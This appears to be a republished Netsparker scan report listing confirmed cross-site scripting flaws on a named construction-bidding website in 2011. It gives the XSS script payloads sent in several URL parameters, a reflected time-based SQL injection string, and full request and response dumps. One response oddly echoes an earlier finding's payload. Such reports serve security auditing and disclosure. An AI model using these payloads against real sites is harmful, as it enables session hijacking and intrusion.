The DORK Report

Loading

Netsparker, Web Application Security Scanner

XSS, Cross Site Scripting, CWE-79, CAPEC-86, Javascript Injection

Netsparker - Scan Report Summary
TARGET URL
http://www.questcdn.com/
SCAN DATE
3/1/2011 5:45:00 PM
REPORT DATE
3/1/2011 7:14:12 PM
SCAN DURATION
00:05:30

Total Requests

Average Speed

req/sec.
21
identified
11
confirmed
0
critical
1
informational

GHDB, DORK Tests

GHDB, DORK Tests
PROFILE
Previous Settings
ENABLED ENGINES
Static Tests, Find Backup Files, Blind Command Injection, Blind SQL Injection, Boolean SQL Injection, Command Injection, HTTP Header Injection, Local File Inclusion, Open Redirection, Remote Code Evaluation, Remote File Inclusion, SQL Injection, Cross-site Scripting
Authentication
Scheduled

VULNERABILITIES

Vulnerabilities
Netsparker - Web Application Security Scanner
IMPORTANT
52 %
LOW
43 %
INFORMATION
5 %
Cross-site Scripting

Cross-site Scripting

5 TOTAL
IMPORTANT
CONFIRMED
5
XSS (Cross-site Scripting) allows an attacker to execute a dynamic script (Javascript, VbScript) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/Javascript/VbScript by the browser.

XSS targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' session, an attacker might attack an administrator to gain full control over the application.

Impact

There are many different attacks that can be leveraged through the use of XSS, including:
  • Hi-jacking users' active session
  • Changing the look of the page within the victims browser.
  • Mounting a successful phishing attack.
  • Intercept data and perform man-in-the-middle attacks.

Remedy

The issue occurs because the browser interprets the input as active HTML, Javascript or VbScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML ensure that all active content is removed prior to its presentation to the server.

Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters with which you populate a white-list. This list needs only be defined once and should be used to sanitize and validate all subsequent input.

There are a number of pre-defined, well structured white-list libraries available for many different environments, good examples of these include, OWASP Reform and Microsoft Anti Cross-site Scripting libraries are good examples.

Remedy References

External References

- /questcdn/

/questcdn/ CONFIRMED

http://www.questcdn.com/questcdn/?jobPK='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0001F0..

Parameters

Parameter Type Value
jobPK GET '"--></style></script><script>alert(0x0001F0)</script>
loginPagePath GET index.html
nextPage GET 3
password GET 3
root_page GET true

Request

GET /questcdn/?jobPK='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x0001F0)%3C/script%3E&loginPagePath=index.html&nextPage=3&password=3&root_page=true HTTP/1.1
Referer: http://www.questcdn.com/questcdn/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.questcdn.com
Cookie: sessionIdentifier=/8065817978969251119
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 23:37:08 GMT
Server: Apache/2.2.4 (Ubuntu) mod_jk/1.2.23 mod_ssl/2.2.4 OpenSSL/0.9.8e PHP/5.2.3-1ubuntu6
Set-Cookie: sessionIdentifier=/8065817978969251119; Expires=Thu, 03-Mar-2011 23:37:08 GMT; Path=/questcdn
Pragma: no-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Length: 30383
Content-Type: text/html;charset=utf-8


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><!-- saved from url=(0042)http://www.theborngroup.com/clients/quest/ --><html xmlns="http://www.w3.org/1999/xhtml"><head> <title>Quest Construction Data Network</title> <meta http-equiv="content-type" content="text/html;charset=ISO-8859-1"/> <meta content="MSHTML 6.00.2800.1226" name="GENERATOR"/> <script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/quest.js"></script> <link rel="stylesheet" type="text/css" href="/questcdn/css_scripts/welcome.css" media="screen"/><!--embed so we can use some of the substitution capabilities--> <link rel="stylesheet" type="text/css" href="/questcdn/css_scripts/menuQuestCDN.css" media="screen"/>
<script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/quest.js"></script>
<script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/validation.js"></script>
<script type="text/javascript" language="JavaScript1.2">

var pageUrl, currentTab, currentSubTab;
var currentClassName = 'current';
var disabledClassName = 'disabled';
var currentTabName = 'current_tab';
var currentSubTabName = 'current_sub_tab';
var sCurrentTab = 'projects';
var sCurrentSubTab = '1));SELECT pg_sleep(25)--';
var siteMenuClassName = 'siteMenu';
var siteSubMenuClassName = 'siteSubMenu';
var pageMenuClassName = 'pageMenu';

function initTab()
{
//alert('initTab');
getPageUrl();
//alert('sCurrentTab:[projects] sCurrentSubTab:[1));SELECT pg_sleep(25)--]');
setCurrentTab(null, 'projects');
initMenu(siteMenuClassName);
initMenu(siteSubMenuClassName);
initMenu(pageMenuClassName);
}

function getPageUrl()
{
pageUrl = window.location.href;
var pos = pageUrl.indexOf('?');
if (pos > 0)
pageUrl = pageUrl.substring(0, pos);
currentTab = getCurrent(null, currentTabName);
currentSubTab = getCurrent(null, currentSubTabName);
pageUrl = addTabInfo(pageUrl, currentTab, currentSubTab);
}

function initMenu(menuClassName)
{
var menuObj = document.getElementById(menuClassName);

if (menuObj != null)
{
var mainMenu = menuObj.getElementsByTagName('UL')[0];
if (mainMenu != null)
{
var menuElements = mainMenu.getElementsByTagName('LI');
if (menuElements != null && menuElements.length > 0)
{
var mainMenuItem = menuElements[0];
mainMenu.style.height = mainMenuItem.offsetHeight + 2 + 'px';
while(mainMenuItem)
{
if(mainMenuItem.tagName == 'LI')
{
mainMenuItem.style.cssText = 'float:left;';
mainMenuItem.style.styleFloat = 'left';
}
mainMenuItem = mainMenuItem.nextSibling;
}
}
}
}
}

function isHomePage()
{
var isHome = false;
if (pageUrl != null && (
pageUrl.indexOf('welcome') > 0 || pageUrl.indexOf('questLogin') > 0 ||
pageUrl.indexOf('index.html') > 0 || pageUrl.charAt(pageUrl.length - 1) == '/'
))
isHome = true;
//alert('url:' + pageUrl.charAt(pageUrl.length - 1));
//alert('isHome:' + isHome);
return isHome;
}

function getParameter(name)
{
name = name.replace(/[\[]/, '\\\[').replace(/[\]]/, '\\\]');
var regexS = '[\\?&]' + name + '=([^&#]*)';
var regex = new RegExp(regexS);
var results = regex.exec(window.location.href);
if (results == null)
return '';
else
return results[1];
}

function isSelected(item)
{
var selected = false;
var className = getClass(item);
if (className == currentClassName)
selected = true;
return selected;
}

function isDisabled(item)
{
var disabled = false;
var className = getClass(item);
//alert('id:' + item.id + ' className:' + className);
if (className == disabledClassName)
disabled = true;
return disabled;
}

function setSelected(item)
{
if (item != undefined)
{
var mItems = item.parentNode.parentNode.getElementsByTagName('a');
for (var i = 0; i < mItems.length; i++)
{
if (!isDisabled(mItems[i]))
setClass(mItems[i], '');
}
if (!isDisabled(item))
setClass(item, currentClassName);
}
}

function setClass(item, className)
{
item.setAttribute('class', className);
item.setAttribute('className', className);
}

function getClass(item)
{
var className = item.getAttribute('class');
if (className == null || className.length == 0)
className = item.getAttribute('className', className);
return className;
}

function getCurrent(sessData, name)
{
var parmData = getParameter(name);
return (parmData == '' ? sessData : parmData);
}

function setLocation(url, tab, subtab)
{
var root = '/questcdn/action/';
var pos = url.indexOf('.html');
if (pos > 0)
root = '/questcdn/setTab/';
url = root + url;
window.location.href = addTabInfo(url, tab, subtab);
}

function addTabInfo(url, tab, subtab)
{
if (tab != undefined)
{
url += '?current_tab=' + tab;
if (subtab != undefined)
url += '&current_sub_tab=' + subtab;
}
return url;
}

function setCurrentTab(item, currentTab)
{
//alert('currentTab:' + currentTab + ' pCurrentTab:' + getParameter(currentTabName));
if (item == undefined)
{
currentTab = getCurrent(currentTab, currentTabName);
if ((currentTab == null || currentTab.length == 0) && isHomePage())
currentTab = 'home';
if (!isHomePage() && currentTab == 'home')
currentTab = null;
//alert('currentTab:' + currentTab);
if (currentTab != null && currentTab.length > 0)
{
item = document.getElementById(currentTab);
setSelected(item);
}
var obj = document.getElementById('siteSubMenu');
if (obj != null)
{
var mItems = obj.getElementsByTagName('a');
if (mItems.length == 0)
obj.style.display = 'none';
}
var cst = getCurrent(sCurrentSubTab, currentSubTabName);
//alert('cst:' + cst);
if (cst != null)
setSelected(document.getElementById(cst));
}
else if (item != undefined && !isSelected(item) && !isDisabled(item))
{
var url = null;
var subtab = null;
switch(item.id)
{
case 'home':
//alert('Clicked Home!');
url = 'welcome.html';
break;
case 'projects':
//alert('Clicked Projects!');
url = 'projects/prj_browse/project_browse_grid.html';
subtab = 'find';
break;
case 'industry_directory':
//alert('Clicked Industry Directory!');
url = 'industry/ind_browse/ind_browse_f.html';
subtab = 'indbrowse';
break;
case 'myAccount':
//alert('Clicked My Account!');
url = 'account/acc_mod/acc_mod.html';
subtab = 'accModify';
break;
case 'memberBenefits':
displayMemberBenefits('/questcdn');
break;
case 'providerBenefits':
displayProviderBenefits('/questcdn');
break;
case 'demonstration':
displayDemo('/questcdn');
break;
case 'classifiedAds':
var className = getClass(item);
alert('className:' + className);
//displayDemo('/questcdn');
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
{
setSelected(item);
setLocation(url, item.id, subtab);
}
}
}

function siteHeaderMenuClick(item)
{
if (item != null)
{
var url = null;
switch(item.id)
{
case 'contactQuest':
displayContactQuest('/questcdn');
break;
case 'faqs':
url = 'faqs/faq.html';
break;
case 'logout':
url = 'questLogout';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url);
}
}

function projectsMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'projects';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'find':
url = 'projects/prj_browse/project_browse_grid.html';
break;
case 'myprojects':

url = 'projects/MyProjects/my_projects.html';

break;
case 'results':
//url = 'projects/prj_view/prj__browse_f1.html';
url = 'projects/prj_view/project_view_grid.html';
break;
case 'add':
url = 'projects/prj_add_mod/prj_add.html';
break;
case 'modify':
//url = 'ShowProjListPage';
url = 'projects/prj_add_mod/project_modify_grid.html';
break;
case 'reports':
url = 'reports/reports.html';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}

function industryMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'industry_directory';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'indBrowse':
url = 'industry/ind_browse/ind_browse_f.html';
break;
case 'indSearch':
url = 'industry/ind_search/ind_search.html';
break;
case 'indModify':
url = 'industry/ind_add_mod/ind_mod.html';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}

function accountMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'myAccount';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'accModify':
url = 'account/acc_mod/acc_mod.html';
break;
case 'accBilling':
url = '/questcdn/account/acc_bill/acc_bill.html';
window.open(url, 'billingWindow', 'height=400,width=500');
url = null;
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}

function showProjects()
{
var url = '/questcdn/setTab/projects/MyProjects/my_projects.html?current_tab=projects&current_sub_tab=myprojects';

url += '&allMember=true';

location.href = url;
}
</script>
<script type="text/javascript" language="JavaScript1.2"> function loadPage() { document.userdata.submit(); } </script></head><body onload="document.userdata.username.focus()" bgcolor="#ffffff"><form name="userdata" action="/questcdn/action/questLogin" method="POST"> <input type="hidden" name="loginPagePath" value="index.html"/> <input type="hidden" name="root_page" value="true"/> <input type="hidden" name="nextPage" value="3"/> <input type="hidden" name="jobPK" value="'"--></style></script><script>netsparker(0x0001F0)</script>"/><!--$Header: embeds/menuQuestCDN.html 2010/09/21 enelsen $--> <table width="760" border="0" cellspacing="0" cellpadding="0"> <tr> <td> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td style="width:50%"><img alt="QuestCDN.COM" src="/questcdn/images/banners/QuestCDNLogo.gif"/></td> <td> <div id="siteHeaderMenu" style="width:100%"> <ul style="width:100%"> <li><a href="#" onclick="siteHeaderMenuClick(this);" id="contactQuest" title="Contact Quest"><span>Contact Quest</span></a></li> </ul> </div> </td> </tr> <tr> <td colspan="2"><div style="display:block;background:#666530"><img alt="" src="/questcdn/images/banners/QuestTagLine.gif"/></div></td> </tr> </table> </td> </tr> <tr> <td> <div id="siteMenu" style="width:100%"> <ul style="width:100%"> <li><a href="#" onclick="setCurrentTab(this);" id="memberBenefits" title="Member Benefits"><span>Member Benefits</span></a></li> <li><a href="#" onclick="setCurrentTab(this);" id="providerBenefits" title="Provider Benefits"><span>Provider Benefits</span></a></li> <li><a href="#" onclick="setCurrentTab(this);" id="demonstration" title="Demonstration"><span>Demonstration</span></a></li> <!--<li><a href="#" onclick="setCurrentTab(this);" id="classifiedAds" title="" class="disabled"><span>Classified Ads</span></a></li>--> </ul> </div> </td> </tr> <tr> <td> <div id="siteSubMenu" style="width:100%"> <ul style="width:100%"> <li><a href="#" onclick="projectsMenuClick(this);" id="find" title="Find Projects"><span>Find</span></a></li> <li><a href="#" onclick="projectsMenuClick(this);" id="myprojects" title="My Projects"><span>My Projects</span></a></li> <li><a href="#" onclick="projectsMenuClick(this);" id="results" title="View Results"><span>Results</span></a></li> </ul> </div> </td> </tr> </table><script type="text/javascript" language="JavaScript1.2&qu..
- /questcdn/setTab/projects/MyProjects/my_projects.html

/questcdn/setTab/projects/MyProjects/my_projects.html CONFIRMED

http://www.questcdn.com/questcdn/setTab/projects/MyProjects/my_projects.html?current_tab='%3E%3Cscri..

Parameters

Parameter Type Value
current_tab GET '><script>alert(9)</script>
current_sub_tab GET myprojects

Request

GET /questcdn/setTab/projects/MyProjects/my_projects.html?current_tab='%3E%3Cscript%3Enetsparker(9)%3C/script%3E&current_sub_tab=myprojects HTTP/1.1
Referer: http://www.questcdn.com/questcdn/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.questcdn.com
Cookie: sessionIdentifier=/8065817978969251119
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 23:37:30 GMT
Server: Apache/2.2.4 (Ubuntu) mod_jk/1.2.23 mod_ssl/2.2.4 OpenSSL/0.9.8e PHP/5.2.3-1ubuntu6
Set-Cookie: sessionIdentifier=/8065817978969251119; Expires=Thu, 03-Mar-2011 23:37:30 GMT; Path=/questcdn
Pragma: no-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Length: 28913
Content-Type: text/html;charset=utf-8


<!--$Header: planholder_list.html, 11/24/2009, Eric Nelsen$--><html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content-type" content="text/html;charset=iso-8859-1"/> <title>QuestCDN: My Projects</title> <link rel="Stylesheet" type="text/css" href="/questcdn/css_scripts/verdana.css" media="screen"/> <link rel="Stylesheet" type="text/css" href="/questcdn/css_scripts/sweetTitlescss/sweetTitles.css"/> <link rel="Stylesheet" type="text/css" href="/questcdn/dhtmlxGrid/dhtmlxgrid_pro_full/dhtmlxgrid_pro.css"/> <link rel="stylesheet" type="text/css" href="/questcdn/dhtmlxGrid/dhtmlxToolbar/codebase/skins/dhtmlxtoolbar_dhx_skyblue.css"/> <link rel="Stylesheet" type="text/css" href="/questcdn/css_scripts/skin_qcdn.css"/> <script type="text/javascript" language="JavaScript1.2" src="/questcdn/dhtmlxGrid/dhtmlxgrid_pro_full/dhtmlxgrid_pro.js"></script> <script type="text/javascript" language="JavaScript1.2" src="/questcdn/dhtmlxGrid/dhtmlxgrid_pro_full/connector.js"></script> <script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/sweetTitlesjs/sweetTitles.js"></script> <script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/QCDN_dhtmlxgrid.js"></script> <script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/QCDN_XHConn.js"></script><!--embed so we can use some of the substitution capabilities--> <link rel="stylesheet" type="text/css" href="/questcdn/css_scripts/menuQuestCDN.css" media="screen"/>
<script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/quest.js"></script>
<script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/validation.js"></script>
<script type="text/javascript" language="JavaScript1.2">

var pageUrl, currentTab, currentSubTab;
var currentClassName = 'current';
var disabledClassName = 'disabled';
var currentTabName = 'current_tab';
var currentSubTabName = 'current_sub_tab';
var sCurrentTab = ''><script>netsparker(9)</script>';
var sCurrentSubTab = 'myprojects';
var siteMenuClassName = 'siteMenu';
var siteSubMenuClassName = 'siteSubMenu';
var pageMenuClassName = 'pageMenu';

function initTab()
{
//alert('initTab');
getPageUrl();
//alert('sCurrentTab:['><script>netsparker(9)</script>] sCurrentSubTab:[myprojects]');
setCurrentTab(null, ''><script>netsparker(9)</script>');
initMenu(siteMenuClassName);
initMenu(siteSubMenuClassName);
initMenu(pageMenuClassName);
}

function getPageUrl()
{
pageUrl = window.location.href;
var pos = pageUrl.indexOf('?');
if (pos > 0)
pageUrl = pageUrl.substring(0, pos);
currentTab = getCurrent(null, currentTabName);
currentSubTab = getCurrent(null, currentSubTabName);
pageUrl = addTabInfo(pageUrl, currentTab, currentSubTab);
}

function initMenu(menuClassName)
{
var menuObj = document.getElementById(menuClassName);

if (menuObj != null)
{
var mainMenu = menuObj.getElementsByTagName('UL')[0];
if (mainMenu != null)
{
var menuElements = mainMenu.getElementsByTagName('LI');
if (menuElements != null && menuElements.length > 0)
{
var mainMenuItem = menuElements[0];
mainMenu.style.height = mainMenuItem.offsetHeight + 2 + 'px';
while(mainMenuItem)
{
if(mainMenuItem.tagName == 'LI')
{
mainMenuItem.style.cssText = 'float:left;';
mainMenuItem.style.styleFloat = 'left';
}
mainMenuItem = mainMenuItem.nextSibling;
}
}
}
}
}

function isHomePage()
{
var isHome = false;
if (pageUrl != null && (
pageUrl.indexOf('welcome') > 0 || pageUrl.indexOf('questLogin') > 0 ||
pageUrl.indexOf('index.html') > 0 || pageUrl.charAt(pageUrl.length - 1) == '/'
))
isHome = true;
//alert('url:' + pageUrl.charAt(pageUrl.length - 1));
//alert('isHome:' + isHome);
return isHome;
}

function getParameter(name)
{
name = name.replace(/[\[]/, '\\\[').replace(/[\]]/, '\\\]');
var regexS = '[\\?&]' + name + '=([^&#]*)';
var regex = new RegExp(regexS);
var results = regex.exec(window.location.href);
if (results == null)
return '';
else
return results[1];
}

function isSelected(item)
{
var selected = false;
var className = getClass(item);
if (className == currentClassName)
selected = true;
return selected;
}

function isDisabled(item)
{
var disabled = false;
var className = getClass(item);
//alert('id:' + item.id + ' className:' + className);
if (className == disabledClassName)
disabled = true;
return disabled;
}

function setSelected(item)
{
if (item != undefined)
{
var mItems = item.parentNode.parentNode.getElementsByTagName('a');
for (var i = 0; i < mItems.length; i++)
{
if (!isDisabled(mItems[i]))
setClass(mItems[i], '');
}
if (!isDisabled(item))
setClass(item, currentClassName);
}
}

function setClass(item, className)
{
item.setAttribute('class', className);
item.setAttribute('className', className);
}

function getClass(item)
{
var className = item.getAttribute('class');
if (className == null || className.length == 0)
className = item.getAttribute('className', className);
return className;
}

function getCurrent(sessData, name)
{
var parmData = getParameter(name);
return (parmData == '' ? sessData : parmData);
}

function setLocation(url, tab, subtab)
{
var root = '/questcdn/action/';
var pos = url.indexOf('.html');
if (pos > 0)
root = '/questcdn/setTab/';
url = root + url;
window.location.href = addTabInfo(url, tab, subtab);
}

function addTabInfo(url, tab, subtab)
{
if (tab != undefined)
{
url += '?current_tab=' + tab;
if (subtab != undefined)
url += '&current_sub_tab=' + subtab;
}
return url;
}

function setCurrentTab(item, currentTab)
{
//alert('currentTab:' + currentTab + ' pCurrentTab:' + getParameter(currentTabName));
if (item == undefined)
{
currentTab = getCurrent(currentTab, currentTabName);
if ((currentTab == null || currentTab.length == 0) && isHomePage())
currentTab = 'home';
if (!isHomePage() && currentTab == 'home')
currentTab = null;
//alert('currentTab:' + currentTab);
if (currentTab != null && currentTab.length > 0)
{
item = document.getElementById(currentTab);
setSelected(item);
}
var obj = document.getElementById('siteSubMenu');
if (obj != null)
{
var mItems = obj.getElementsByTagName('a');
if (mItems.length == 0)
obj.style.display = 'none';
}
var cst = getCurrent(sCurrentSubTab, currentSubTabName);
//alert('cst:' + cst);
if (cst != null)
setSelected(document.getElementById(cst));
}
else if (item != undefined && !isSelected(item) && !isDisabled(item))
{
var url = null;
var subtab = null;
switch(item.id)
{
case 'home':
//alert('Clicked Home!');
url = 'welcome.html';
break;
case 'projects':
//alert('Clicked Projects!');
url = 'projects/prj_browse/project_browse_grid.html';
subtab = 'find';
break;
case 'industry_directory':
//alert('Clicked Industry Directory!');
url = 'industry/ind_browse/ind_browse_f.html';
subtab = 'indbrowse';
break;
case 'myAccount':
//alert('Clicked My Account!');
url = 'account/acc_mod/acc_mod.html';
subtab = 'accModify';
break;
case 'memberBenefits':
displayMemberBenefits('/questcdn');
break;
case 'providerBenefits':
displayProviderBenefits('/questcdn');
break;
case 'demonstration':
displayDemo('/questcdn');
break;
case 'classifiedAds':
var className = getClass(item);
alert('className:' + className);
//displayDemo('/questcdn');
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
{
setSelected(item);
setLocation(url, item.id, subtab);
}
}
}

function siteHeaderMenuClick(item)
{
if (item != null)
{
var url = null;
switch(item.id)
{
case 'contactQuest':
displayContactQuest('/questcdn');
break;
case 'faqs':
url = 'faqs/faq.html';
break;
case 'logout':
url = 'questLogout';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url);
}
}

function projectsMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'projects';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'find':
url = 'projects/prj_browse/project_browse_grid.html';
break;
case 'myprojects':

url = 'projects/MyProjects/my_projects.html';

break;
case 'results':
//url = 'projects/prj_view/prj__browse_f1.html';
url = 'projects/prj_view/project_view_grid.html';
break;
case 'add':
url = 'projects/prj_add_mod/prj_add.html';
break;
case 'modify':
//url = 'ShowProjListPage';
url = 'projects/prj_add_mod/project_modify_grid.html';
break;
case 'reports':
url = 'reports/reports.html';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}

function industryMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'industry_directory';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'indBrowse':
url = 'industry/ind_browse/ind_browse_f.html';
break;
case 'indSearch':
url = 'industry/ind_search/ind_search.html';
break;
case 'indModify':
url = 'industry/ind_add_mod/ind_mod.html';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}

function accountMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'myAccount';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'accModify':
url = 'account/acc_mod/acc_mod.html';
break;
case 'accBilling':
url = '/questcdn/account/acc_bill/acc_bill.html';
window.open(url, 'billingWindow', 'height=400,width=500');
url = null;
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}

function showProjects()
{
var url = '/questcdn/setTab/projects/MyProjects/my_projects.html?current_tab=projects&current_sub_tab=myprojects';

url += '&allMember=true';

location.href = url;
}
</script>
<!--Override some of the settings for the tooltips--> <style type="text/css"> body div#toolTip { background:white;border:1px double black; } body div#toolTip p { color:black; } </style> <script type="text/javascript" language="JavaScript1.2">var gridServerUrl = '/questcdn/action/myProjectConnector';var gridCategories = null;var categories = new Array();function doInitDoc(){ gridCategories = new QcdnGridCategories('/questcdn', 'mygrid_container', gridServerUrl, 'user_no=&member_no=&allMember='); gridCategories.setDataProcessorUrl(gridServerUrl); gridCategories.setShowRecordCount(false); gridCategories.addCategory(1,'<b>' + 'Not Yet Bid' + '</b>','Bid Date is in the Future'); gridCategories.addCategory(2,'<b>' + 'Results Pending' + '</b>','Bid Date is in the Past and the results HAVE NOT been posted'); gridCategories.addCategory(3,'<b>' + 'Results Posted' + '</b>','Bid Date is in the Past and the results HAVE been posted'); gridCategories.expandAll(true); gridCategories.load(categoryGridCreated);}function categoryGridCreated(grid, gridHelper){ grid.setHeader('&nbsp;,Name,City,County,State,Bid Date,Solicitor,Owner,eBidDoc Available,Addendum Count,Q & A Posted,User,Status,JobNo,UserNo'); gridHelper.setColumnIds('INMYPROJ,NAME,CITY,COUNTY,STATE,BID_DATE,SOLICITOR,OWNER,DOCS_AVAIL,ADDENDA,QA_AVAIL,UNAME,STATUS,JOB_NO,USER_NO'); gridHelper.disableTooltipsByName(null); gridHelper.useSweetTitles(); grid.setInitWidths('30,200,100,80,28,130,140,150,90,90,80,80,0,0,0'); gridHelper.hideColumns('STATUS,JOB_NO,USER_NO'); //All columns that you want to access by grid.cellById, etc. must be reference here in setColTypes gridHelper.setColTypes('ch,link,ro,ro,ro,datetime'); grid.setColSorting('int,ciSort,ciSort,ciSort,ciSort,dtSort,ciSort,ciSort,ciSort,int,ciSort,ciSort,ciSort,int,int'); gridHelper.setSecondarySortColumn(gridHelper.NAME); grid.setSkin('qa');}function expandAll(doOpen){ gridCategories.expandAll(doOpen);}function previewJob(jobNo, rowId){ var url; url = '/questcdn/projects/prj_browse/project_browse.html?projbrowse=true&jobNo=' + jobNo + '&rowId=' + rowId; //url = '/questcdn/action/showProjPreviewPage?tooltip=true&preview=true&JobPK=' + jobNo; var w = window.open(url,'projectBrowse','height=800,width=600,resizable=yes,scrollbars=yes'); w.focus();}function showJob(jobNo, rowId){// document.userdata.ProjectNo.value = '' + jobNo;// document.userdata.submit(); previewJob(jobNo, rowId);}function NextProject(jobNo, rowId){ var obj = gridCategories.nextProject(rowId); rowId = obj.rowId; jobNo = obj.jobNo; if (rowId != null) previewJob(jobNo, rowId);}function PreviousProject(jobNo, rowId){ var obj = gridCategories.previousProject(rowId); rowId = obj.rowId; jobNo = obj.jobNo; if (rowId != null) previewJob(jobNo, rowId);}function showProjects(){ location.href='/questcdn/setTab/projects/MyProjects/my_projects.html?current_tab=projects&current_sub_tab=myprojects' + '&allMember=true' ;}//function deleteSelected()//{// var i, grid, gridHelper, selId;// for (var i = 0; i < ..
- /questcdn/account/acc_mod/acc_mod.html

/questcdn/account/acc_mod/acc_mod.html CONFIRMED

http://www.questcdn.com/questcdn/account/acc_mod/acc_mod.html?jobPK='%22--%3E%3C/style%3E%3C/script%..

Parameters

Parameter Type Value
jobPK GET '"--></style></script><script>alert(0x0001FA)</script>
loginPagePath GET index.html
nextPage GET 3
password GET 3
root_page GET true

Request

GET /questcdn/account/acc_mod/acc_mod.html?jobPK='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x0001FA)%3C/script%3E&loginPagePath=index.html&nextPage=3&password=3&root_page=true HTTP/1.1
Referer: http://www.questcdn.com/questcdn/account/acc_mod/acc_mod.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.questcdn.com
Cookie: sessionIdentifier=/8065817978969251119
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 23:37:37 GMT
Server: Apache/2.2.4 (Ubuntu) mod_jk/1.2.23 mod_ssl/2.2.4 OpenSSL/0.9.8e PHP/5.2.3-1ubuntu6
Set-Cookie: sessionIdentifier=/8065817978969251119; Expires=Thu, 03-Mar-2011 23:37:37 GMT; Path=/questcdn
Pragma: no-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Length: 29913
Content-Type: text/html;charset=utf-8


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><!-- saved from url=(0042)http://www.theborngroup.com/clients/quest/ --><html xmlns="http://www.w3.org/1999/xhtml"><head> <title>Quest Construction Data Network</title> <meta http-equiv="content-type" content="text/html;charset=ISO-8859-1"/> <meta content="MSHTML 6.00.2800.1226" name="GENERATOR"/> <script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/quest.js"></script> <link rel="stylesheet" type="text/css" href="/questcdn/css_scripts/welcome.css" media="screen"/><!--embed so we can use some of the substitution capabilities--> <link rel="stylesheet" type="text/css" href="/questcdn/css_scripts/menuQuestCDN.css" media="screen"/>
<script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/quest.js"></script>
<script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/validation.js"></script>
<script type="text/javascript" language="JavaScript1.2">

var pageUrl, currentTab, currentSubTab;
var currentClassName = 'current';
var disabledClassName = 'disabled';
var currentTabName = 'current_tab';
var currentSubTabName = 'current_sub_tab';
var sCurrentTab = ''><script>netsparker(9)</script>';
var sCurrentSubTab = 'myprojects';
var siteMenuClassName = 'siteMenu';
var siteSubMenuClassName = 'siteSubMenu';
var pageMenuClassName = 'pageMenu';

function initTab()
{
//alert('initTab');
getPageUrl();
//alert('sCurrentTab:['><script>netsparker(9)</script>] sCurrentSubTab:[myprojects]');
setCurrentTab(null, ''><script>netsparker(9)</script>');
initMenu(siteMenuClassName);
initMenu(siteSubMenuClassName);
initMenu(pageMenuClassName);
}

function getPageUrl()
{
pageUrl = window.location.href;
var pos = pageUrl.indexOf('?');
if (pos > 0)
pageUrl = pageUrl.substring(0, pos);
